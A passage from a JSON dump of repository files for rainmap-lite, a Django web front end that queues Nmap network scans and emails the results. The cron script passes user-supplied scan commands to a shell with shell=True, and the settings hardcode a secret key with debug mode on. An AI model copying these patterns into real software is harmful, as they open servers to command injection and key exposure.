<script src=\"static/js/jquery.scrolly.min.js\"></script>\n        <script src=\"static/js/skel.min.js\"></script>\n        <script src=\"static/js/util.js\"></script>\n        <!--[if lte IE 8]><script src=\"static/js/ie/respond.min.js\"></script><![endif]-->\n        <script src=\"static/js/main.js\"></script>\n    <script type=\"text/javascript\">\n$(document).ready(function(){\n    $('input[type=\"checkbox\"]').click(function(){\n        if($(this).attr(\"value\")==\"custom\"){\n            $(\".custom\").toggle();\n        }\n    });\n});\n</script>\n    </body>\n</html>\n"
  },
  {
    "path": "rainmap-lite/nmaper/templates/registration/login.html",
    "content": "{% extends \"admin/base_site.html\" %}\n{% load i18n admin_static %}\n\n{% block extrastyle %}{{ block.super }}<link rel=\"stylesheet\" type=\"text/css\" href=\"{% static \"admin/css/login.css\" %}\" />\n{{ form.media }}\n{% endblock %}\n\n{% block bodyclass %}{{ block.super }} login{% endblock %}\n\n{% block usertools %}{% endblock %}\n\n{% block nav-global %}{% endblock %}\n\n{% block content_title %}{% endblock %}\n\n{% block breadcrumbs %}{% endblock %}\n\n{% block content %}\n{% if form.errors and not form.non_field_errors %}\n<p class=\"errornote\">\n{% if form.errors.items|length == 1 %}{% trans \"Please correct the error below.\" %}{% else %}{% trans \"Please correct the errors below.\" %}{% endif %}\n</p>\n{% endif %}\n\n{% if form.non_field_errors %}\n{% for error in form.non_field_errors %}\n<p class=\"errornote\">\n    {{ error }}\n</p>\n{% endfor %}\n{% endif %}\n\n<div id=\"content-main\">\n\n{% if user.is_authenticated %}\n<p class=\"errornote\">\n{% blocktrans with username=request.user.username trimmed %}\n    You are authenticated as {{ username }}, but are not authorized to\n    access this page. Would you like to login to a different account?\n{% endblocktrans %}\n</p>\n{% endif %}\n\n<form action=\"{% url 'django.contrib.auth.views.login' %}\" method=\"post\" id=\"login-form\">{% csrf_token %}\n  <div class=\"form-row\">\n    {{ form.username.errors }}\n    {{ form.username.label_tag }} {{ form.username }}\n  </div>\n  <div class=\"form-row\">\n    {{ form.password.errors }}\n    {{ form.password.label_tag }} {{ form.password }}\n    <input type=\"hidden\" name=\"next\" value=\"{{ next }}\" />\n  </div>\n  {% url 'admin_password_reset' as password_reset_url %}\n  {% if password_reset_url %}\n  <div class=\"password-reset-link\">\n    <a href=\"{{ password_reset_url }}\">{% trans 'Forgotten your password or username?' %}</a>\n  </div>\n  {% endif %}\n  <div class=\"submit-row\">\n    <label>&nbsp;</label><input type=\"submit\" value=\"{% trans 'Log in' %}\" />\n  </div>\n</form>\n\n<script type=\"text/javascript\">\ndocument.getElementById('id_username').focus()\n</script>\n</div>\n{% endblock %}\n"
  },
  {
    "path": "rainmap-lite/nmaper/tests.py",
    "content": "from django.test import TestCase\n\n# Create your tests here.\n"
  },
  {
    "path": "rainmap-lite/nmaper/views.py",
    "content": "from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.template import loader\nfrom django.utils import timezone\nfrom django.contrib.auth.decorators import login_required\n\nfrom .models import NmapProfile\nfrom .models import NmapScan\nfrom .models import ScanForm\n\n@login_required(login_url='/login/')\ndef index(request):\n    context = { 'profiles' : NmapProfile.objects.all() }\n    template = loader.get_template('index.html')\n\n    if request.method == 'POST':\n        f = ScanForm(request.POST)\n        if f.is_valid():\n            new_scan = f.save(commit=False)\n            if not new_scan.valid_target(new_scan.target_text):\n                context['popup_message'] = 'Invalid target!'\n                new_scan.target_text = \"invalid\"\n            new_scan.status_text = \"waiting\"\n            new_scan.start_date = timezone.now()\n            new_scan.end_date = timezone.now()\n            if not request.POST['cmd_text']:\n                nmap_cmd = NmapProfile.objects.get(id = request.POST['profile'])\n                new_scan.cmd_text = \"%s %s\" % (nmap_cmd.args_text, new_scan.target_text)\n            else:\n                new_scan.cmd_text = \"%s %s\" % (request.POST['cmd_text'], new_scan.target_text)\n            if new_scan.validate_opts(new_scan.cmd_text) and new_scan.target_text != \"invalid\":\n                context['popup_message'] = 'Your scan has been added to the queue!'\n                new_scan.save()\n            else:\n                context['popup_message'] = 'Not a valid Nmap command!'\n        else:\n            context['popup_message'] = f.errors\n\n    return HttpResponse(template.render(context, request))\n\n"
  },
  {
    "path": "rainmap-lite/nmaper-cronjob.py",
    "content": "#!/usr/bin/python\n#Cronjob script that executes Nmap scans on the background\nimport sqlite3\nimport os\nimport subprocess\nimport smtplib\nimport datetime\nimport uuid\nimport lxml.etree as ET\nimport distutils.spawn\n\nfrom email.MIMEMultipart import MIMEMultipart\nfrom email.MIMEText import MIMEText\n\nBASE_URL = \"http://127.0.0.1:8000\"\nSMTP_USER = \"youremail@gmail.com\"\nSMTP_PASS = \"yourpassword\"\nSMTP_SERVER = \"smtp.gmail.com\"\nSMTP_PORT = 587\nOUTPUT_PATH = os.path.normpath(\"%s/nmaper/static/results\" % os.getcwd()).replace(\"\\\\\", \"/\")\n\ndef find_nmap():\n    if os.name == \"nt\":\n        nmap_path = distutils.spawn.find_executable(\"nmap.exe\", os.environ[\"PROGRAMFILES(X86)\"]+\"\\Nmap\")\n        if not(nmap_path):\n            nmap_path = distutils.spawn.find_executable(\"nmap.exe\", os.environ[\"PROGRAMFILES\"]+\"\\Nmap\")\n    else:\n        nmap_path = distutils.spawn.find_executable(\"nmap\")\n\n    return nmap_path\n\ndef notify(id_, email, cmd):\n    print('[%s] Sending report %s to %s' % (datetime.datetime.now(), id_, email))\n    msg = MIMEMultipart()\n    msg['From'] = SMTP_USER\n    msg['To'] = email\n    msg['Subject'] = \"Your scan results are ready\"\n    body = \"{2}\\n\\nView online:\\n{0}/static/results/{1}.html\\n\\nDownload:\\n{0}/static/results/{1}.nmap\\n{0}/static/results/{1}.xml\\n{0}/static/results/{1}.gnmap\".format(BASE_URL, id_, cmd)\n    msg.attach(MIMEText(body, 'plain'))\n    server = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)\n    server.ehlo()\n    server.starttls()\n    server.ehlo()\n    server.login(SMTP_USER, SMTP_PASS)\n    text = msg.as_string()\n    server.sendmail(SMTP_USER, email, text)\n\ndef update_status(id_, status, cursor, db):\n    cursor.execute('''UPDATE nmaper_nmapscan SET status_text = ? WHERE id = ? ''', (status, id_))\n    db.commit()\n    print(\"[%s] Job #%s status changed to '%s'\" % (datetime.datetime.now(), id_, status))\n\ndef set_random_id(id_, cursor, db):\n    rid = uuid.uuid4()\n    cursor.execute('''UPDATE nmaper_nmapscan SET uuid = ? WHERE id = ? ''', (rid.hex, id_))\n    db.commit()\n    return rid.hex\n\ndef set_endtime(id_, cursor, db):\n    cursor.execute('''UPDATE nmaper_nmapscan SET end_date = ? WHERE id = ? ''', (datetime.datetime.now(), id_))\n    db.commit()\n\ndef execute(path, cmd, uuid):\n    filename  = \"%s/%s\" % (OUTPUT_PATH, uuid)\n    proc = subprocess.Popen('%s %s -oA %s' % (path, cmd, filename), shell=True)\n    proc.wait()\n\n    print('\\n[%s] Finished execution of command \"%s\"' % (datetime.datetime.now(), cmd))\n\n    dom = ET.parse(\"%s.xml\" % filename)\n    xsl_filename = dom.getroot().getprevious().getprevious().parseXSL() # need to add error checking\n    transform = ET.XSLT(xsl_filename)\n    html = transform(dom)\n    html_file = open('%s.html' % filename, 'w')\n    html.write(html_file)\n\n    print('[%s] HTML report generated (%s.html)' % (datetime.datetime.now(), filename))\n\ndef main():\n    path = find_nmap()\n    if not path:\n        print(\"[%s] Could not find path for nmap. Quitting!\" % datetime.datetime.now())\n        exit()\n\n    db = sqlite3.connect('scandere.sqlite3')\n    cursor = db.cursor()\n    cursor.execute('''SELECT * FROM nmaper_nmapscan WHERE status_text=\"waiting\"''')\n    all_rows = cursor.fetchall()\n    print('[%s] Listing pending nmap scans...' % datetime.datetime.now())\n\n    for row in all_rows:\n        cmd = row[2]\n        jid = row[0]\n        email = row[5]\n        print('[%s] Job #%d:%s' % (datetime.datetime.now(), jid, cmd))\n        rid = set_random_id(jid, cursor, db)\n        update_status(jid, \"running\", cursor, db)\n        execute(path, cmd, rid)\n        update_status(jid, \"finished\", cursor, db)\n        set_endtime(jid, cursor, db)\n        print(\"[%s] Job #%d finished. Notifying '%s'\" % (datetime.datetime.now(), jid, email))\n        notify(rid, email, cmd)\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "rainmap-lite/scandere/settings.py",
    "content": "\"\"\"\nDjango settings for scandere project.\n\nGenerated by 'django-admin startproject' using Django 1.9.1.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.9/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.9/ref/settings/\n\"\"\"\n\nimport os\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.9/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '(y8wl*cko@#9t-1alnz8w_4dssksqd#we0q2w0xw&w3erqdz(q'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\nLOGIN_REDIRECT_URL = '/'\nALLOWED_HOSTS = []\n\n\n# Application definition\n\nINSTALLED_APPS = [\n    'nmaper.apps.NmaperConfig',\n    'django.contrib.admin',\n    'django.contrib.auth',\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.messages',\n    'django.contrib.staticfiles',\n]\n\nMIDDLEWARE_CLASSES = [\n    'django.middleware.security.SecurityMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'scandere.urls'\n\nTEMPLATES = [\n    {\n        'BACKEND': 'django.template.backends.django.DjangoTemplates',\n        'DIRS': [''],\n        'APP_DIRS': True,\n        'OPTIONS': {\n            'context_processors': [\n                'django.template.context_processors.debug',\n                'django.template.context_processors.request',\n                'django.contrib.auth.context_processors.auth',\n                'django.contrib.messages.context_processors.messages',\n            ],\n        },\n    },\n]\n\nWSGI_APPLICATION = 'scandere.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.9/ref/settings/#databases\n\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.sqlite3',\n        'NAME': os.path.join(BASE_DIR, 'scandere.sqlite3'),\n    }\n}\n\n\n# Password validation\n# https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n    {\n        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n    },\n]\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.9/topics/i18n/\n\nLANGUAGE_CODE = 'zh-hans'\n\nTIME_ZONE = 'Asia/Shanghai'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.9/howto/static-files/\n\nSTATIC_URL = '/static/'\n"
  },
  {
    "path": "rainmap-lite/scandere/urls.py",
    "content": "\"\"\"scandere URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.conf.urls import url, include\n    2. Add a URL to urlpatterns:  url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom nmaper import views\nfrom nmaper.admin import views as adm_views\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom django.contrib.auth import views as views_django\nurlpatterns = [\n    url(r'^$', views.index, name='index'),\n    url(r'^console/clear_logs/?$', adm_views.clear_logs, name='clear-logs'),\n    url(r'^console/', admin.site.urls),\n    url(r'^login/$', views_django.login, name='login')\n]\n"
  },
  {
    "path": "rainmap-lite/scandere/wsgi.py",
    "content": "\"\"\"\nWSGI config for scandere project.\n\nIt exposes the WSGI callable as a module-level variable named ``application``.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/\n\"\"\"\n\nimport os\n\nfrom django.core.wsgi import get_wsgi_application\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"scandere.settings\")\n\napplication = get_wsgi_application()\n\n"
  },
  {
    "path": "乌云技术文章/readme",
    "content": "# this is a  backup of articles about wooyun drops\n"
  }
]